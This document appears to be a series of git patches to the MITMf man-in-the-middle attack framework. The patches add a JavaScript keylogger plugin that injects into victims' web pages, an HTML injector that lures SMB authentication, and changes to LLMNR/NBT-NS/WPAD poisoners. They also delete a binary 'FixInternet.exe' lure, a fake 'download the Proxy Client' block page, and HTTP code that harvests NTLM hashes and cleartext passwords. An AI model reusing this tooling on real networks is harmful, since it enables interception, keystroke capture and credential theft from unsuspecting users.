self.dtable[ip+hn] = True self.count += 1 mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn)) - return {'request': request, 'data': data} - else: - return + + return {'request': request, 'data': data} def _get_payload(self): return self._get_js() + self._get_iframe() + self.html_payload - def add_options(self,options): + def add_options(self, options): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.") @@ -136,7 +135,6 @@ class Inject(CacheKill, Plugin): if self.per_domain: return not ip+hn in self.dtable - #print mime return mime.find(self.mime) != -1 def _get_req_info(self, request): diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py new file mode 100644 index 0000000..c84655b --- /dev/null +++ b/plugins/JsKeylogger.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin +from plugins.Inject import Inject +import logging + +class jskeylogger(Inject, Plugin): + name = "Javascript Keylogger" + optname = "jskeylogger" + desc = "Injects a javascript keylogger into clients webpages" + implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] + depends = ["Inject"] + version = "0.2" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.html_payload = self.msf_keylogger() + + def sendPostData(self, request): + #Handle the plugin output + if 'keylog' in request.uri: + + raw_keys = request.postData.split("&&")[0] + keys = raw_keys.split(",") + del keys[0]; del(keys[len(keys)-1]) + + input_field = request.postData.split("&&")[1] + + nice = '' + for n in keys: + if n == '9': + nice += "" + elif n == '8': + nice = nice.replace(nice[-1:], "") + elif n == '13': + nice = '' + else: + try: + nice += n.decode('hex') + except: + mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) + + #try: + # input_field = input_field.decode('hex') + #except: + # mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) + + mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) + + def msf_keylogger(self): + #Stolen from the Metasploit module http_javascript_keylogger + + payload = """""" + + return payload \ No newline at end of file diff --git a/plugins/Responder.py b/plugins/Responder.py index fc5eab8..bea6141 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -18,13 +18,12 @@ # USA # -import sys -import os import threading from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig + from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner @@ -57,9 +56,9 @@ class Responder(Plugin): KERBServer().start() NBTNSPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip) - + if options.wpad: - WPADPoisoner().start() + WPADPoisoner().start(options) if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") @@ -69,10 +68,10 @@ class Responder(Plugin): def add_options(self, options): options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") + #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py new file mode 100644 index 0000000..9a25de4 --- /dev/null +++ b/plugins/SMBAuth.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.Inject import Inject + +class SMBAuth(Inject, Plugin): + name = "SMBAuth" + optname = "smbauth" + desc = "Evoke SMB challenge-response auth attempts" + depends = ["Inject"] + version = "0.1" + has_opts = False + + def initialize(self, options): + Inject.initialize(self, options) + self.target_ip = SystemConfig.getIP(options.interface) + + self.html_payload = self._get_data() + + def _get_data(self): + return ''\ + ''\ + '' % tuple([self.target_ip]*3) From dfa9c9d65edb1d4bc3cb0687632b55225e6da1b6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 5 May 2015 00:39:59 +0200 Subject: [PATCH 165/323] Added debug logging to ProxyPlugins, it will now print a traceback if errors occur in hooked functions --- core/sergioproxy/ProxyPlugins.py | 11 ++++++++++- core/sslstrip/ServerConnection.py | 2 +- plugins/Inject.py | 2 ++ plugins/Upsidedownternet.py | 1 + 4 files changed, 14 insertions(+), 2 deletions(-) diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index c58cc8d..a182326 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -19,6 +19,7 @@ import sys import logging import inspect +import traceback mitmf_logger = logging.getLogger("mitmf") @@ -59,9 +60,12 @@ class ProxyPlugins: for p in plugins: self.addPlugin(p) + mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist))) + def addPlugin(self,p): '''Load a plugin''' self.plist.append(p) + mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name)) for mthd in p.implements: try: self.pmthds[mthd].append(getattr(p,mthd)) @@ -71,6 +75,7 @@ class ProxyPlugins: def removePlugin(self,p): '''Unload a plugin''' self.plist.remove(p) + mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name)) for mthd in p.implements: self.pmthds[mthd].remove(p) @@ -95,8 +100,12 @@ class ProxyPlugins: for f in self.pmthds[fname]: a = f(**args) if a != None: args = a - except KeyError: + except KeyError as e: pass + except Exception as e: + #This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating) + mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") + traceback.print_exc() #pass our changes to the locals back down return args diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3c53eb6..3aadfc5 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -189,7 +189,7 @@ class ServerConnection(HTTPClient): self.client.setHeader('Content-Length', len(data)) try: - self.client.write(data) #Gets rid of some generic errors + self.client.write(data) except: pass diff --git a/plugins/Inject.py b/plugins/Inject.py index ccad52d..2b75e37 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -28,6 +28,8 @@ from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill +mitmf_logger = logging.getLogger("mitmf") + class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 402c9e5..f14778e 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -66,4 +66,5 @@ class Upsidedownternet(Plugin): mitmf_logger.info("{} Flipped image".format(request.client.getClientIP())) except Exception as e: mitmf_logger.info("{} Error: {}".format(request.client.getClientIP(), e)) + return {'request': request, 'data': data} From 70ec5a2bbcb1269389123b58366bb702a2df2265 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 5 May 2015 19:04:01 +0200 Subject: [PATCH 166/323] All plugins are now modified to support dynamic config file changes Responder functionality fully restored --- config/mitmf.conf | 46 +- config/responder/Denied.html | 31 - config/responder/FixInternet.exe | Bin 25113 -> 0 bytes .../responder/certs/gen-self-signed-cert.sh | 2 - config/responder/certs/responder.crt | 19 - config/responder/certs/responder.key | 27 - core/configwatcher.py | 4 +- core/dnschef/DNSchef.py | 1 + core/netcreds/NetCreds.py | 2 + core/protocols/http/HTTPProxy.py | 240 ------- core/protocols/mssql/MSSQLServer.py | 128 ---- core/protocols/pop3/POP3Server.py | 69 -- core/protocols/smb/SMBserver.py | 8 +- core/protocols/smtp/SMTPServer.py | 63 -- core/responder/common.py | 2 +- .../{protocols => responder}/ftp/FTPServer.py | 48 +- core/{protocols => responder}/ftp/__init__.py | 0 .../http => responder/https}/HTTPSProxy.py | 0 .../http => responder/https}/__init__.py | 0 .../imap/IMAPPackets.py | 17 +- .../imap/IMAPServer.py | 39 +- .../{protocols => responder}/imap/__init__.py | 0 .../ldap/LDAPPackets.py | 18 +- .../ldap/LDAPServer.py | 52 +- .../{protocols => responder}/ldap/__init__.py | 0 .../mssql/MSSQLPackets.py | 17 +- core/responder/mssql/MSSQLServer.py | 127 ++++ .../mssql/__init__.py | 0 core/responder/pop3/POP3Server.py | 63 ++ .../{protocols => responder}/pop3/__init__.py | 0 .../smtp/SMTPPackets.py | 17 +- core/responder/smtp/SMTPServer.py | 62 ++ .../{protocols => responder}/smtp/__init__.py | 0 core/sergioproxy/ProxyPlugins.py | 2 +- core/sslstrip/ServerConnection.py | 2 +- libs/bdfactory | 2 +- mitmf.py | 9 +- plugins/AppCachePoison.py | 206 ++++++ plugins/BeefAutorun.py | 127 ++++ plugins/BrowserProfiler.py | 129 ++++ plugins/FilePwn.py | 650 ++++++++++++++++++ plugins/Inject.py | 55 +- plugins/JavaPwn.py | 231 +++++++ plugins/JsKeylogger.py | 4 +- plugins/Replace.py | 105 +++ plugins/Responder.py | 34 +- plugins/SSLstrip+.py | 51 ++ plugins/SessionHijacker.py | 187 +++++ plugins/Spoof.py | 2 - plugins/Upsidedownternet.py | 2 + 50 files changed, 2102 insertions(+), 798 deletions(-) delete mode 100644 config/responder/Denied.html delete mode 100755 config/responder/FixInternet.exe delete mode 100755 config/responder/certs/gen-self-signed-cert.sh delete mode 100644 config/responder/certs/responder.crt delete mode 100644 config/responder/certs/responder.key delete mode 100644 core/protocols/http/HTTPProxy.py delete mode 100644 core/protocols/mssql/MSSQLServer.py delete mode 100644 core/protocols/pop3/POP3Server.py delete mode 100644 core/protocols/smtp/SMTPServer.py rename core/{protocols => responder}/ftp/FTPServer.py (54%) rename core/{protocols => responder}/ftp/__init__.py (100%) rename core/{protocols/http => responder/https}/HTTPSProxy.py (100%) rename core/{protocols/http => responder/https}/__init__.py (100%) rename core/{protocols => responder}/imap/IMAPPackets.py (76%) rename core/{protocols => responder}/imap/IMAPServer.py (50%) rename core/{protocols => responder}/imap/__init__.py (100%) rename core/{protocols => responder}/ldap/LDAPPackets.py (97%) rename core/{protocols => responder}/ldap/LDAPServer.py (72%) rename core/{protocols => responder}/ldap/__init__.py (100%) rename core/{protocols => responder}/mssql/MSSQLPackets.py (96%) create mode 100644 core/responder/mssql/MSSQLServer.py rename core/{protocols => responder}/mssql/__init__.py (100%) create mode 100644 core/responder/pop3/POP3Server.py rename core/{protocols => responder}/pop3/__init__.py (100%) rename core/{protocols => responder}/smtp/SMTPPackets.py (81%) create mode 100644 core/responder/smtp/SMTPServer.py rename core/{protocols => responder}/smtp/__init__.py (100%) create mode 100644 plugins/AppCachePoison.py create mode 100644 plugins/BeefAutorun.py create mode 100644 plugins/BrowserProfiler.py create mode 100644 plugins/FilePwn.py create mode 100644 plugins/JavaPwn.py create mode 100644 plugins/Replace.py create mode 100644 plugins/SSLstrip+.py create mode 100644 plugins/SessionHijacker.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 04bd575..c76f951 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,6 +21,10 @@ msfport = 8080 #Port to start webserver for exploits rpcip = 127.0.0.1 rpcpass = abc123 + + [[SMB]] + #Set a custom challenge + Challenge = 1122334455667788 [[DNS]] @@ -88,46 +92,32 @@ [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. - SQL = On - SMB = On + MSSQL = On Kerberos = On - FTP = On - POP = On - ##Listen on 25/TCP, 587/TCP - SMTP = On - IMAP = On - HTTP = On - HTTPS = On - LDAP = On + FTP = On + POP = On + SMTP = On #Listens on 25/TCP, 587/TCP + IMAP = On + LDAP = On - #Set a custom challenge - Challenge = 1122334455667788 - - #Set this to change the default logging file - SessionLog = Responder-Session.log - - #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Set this option with your in-scope targets (default = All) + #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT - #RespondTo = WPAD,DEV,PROD,SQLINT + + #Set this option with specific NBT-NS/LLMNR names to answer to (default = All) + #Ex. RespondTo = WPAD,DEV,PROD,SQLINT RespondToName = #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS + + #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None) + #Ex. DontRespondTo = NAC, IPS, IDS DontRespondToName = #Set your custom PAC script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' - [[HTTPS Server]] - - #Change to use your certs - cert = config/responder/certs/responder.crt - key = config/responder/certs/responder.key - - [BeEFAutorun] #Example config for the BeefAutorun plugin diff --git a/config/responder/Denied.html b/config/responder/Denied.html deleted file mode 100644 index d79f811..0000000 --- a/config/responder/Denied.html +++ /dev/null @@ -1,31 +0,0 @@ - - -Website Blocked: ISA Proxy Server - - - - -
-
-
New Security Policy: Website Blocked
-
    -
    -
    -
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • -
    -
-
- -
- - - diff --git a/config/responder/FixInternet.exe b/config/responder/FixInternet.exe deleted file mode 100755 index b1a8e630176e120fc0f4f7af483880fb419d4937..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 25113 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 d%6Oe&n 24: - NthashLen = 64 - DomainLen = struct.unpack('2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - #print PostData - responder_logger.info(PostData) - -#Handle HTTP packet sequence. -def PacketSequence(data,client): - Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) - BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - - if Ntlm: - packetNtlm = b64decode(''.join(Ntlm))[8:9] - if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) - r = NTLM_Challenge(ServerChallenge=Challenge) - r.calculate() - t = IIS_NTLM_Challenge_Ans() - t.calculate(str(r)) - buffer1 = str(t) - return buffer1 - if packetNtlm == "\x03": - NTLM_Auth= b64decode(''.join(Ntlm)) - ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - responder_logger.info(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) - outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" - WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) 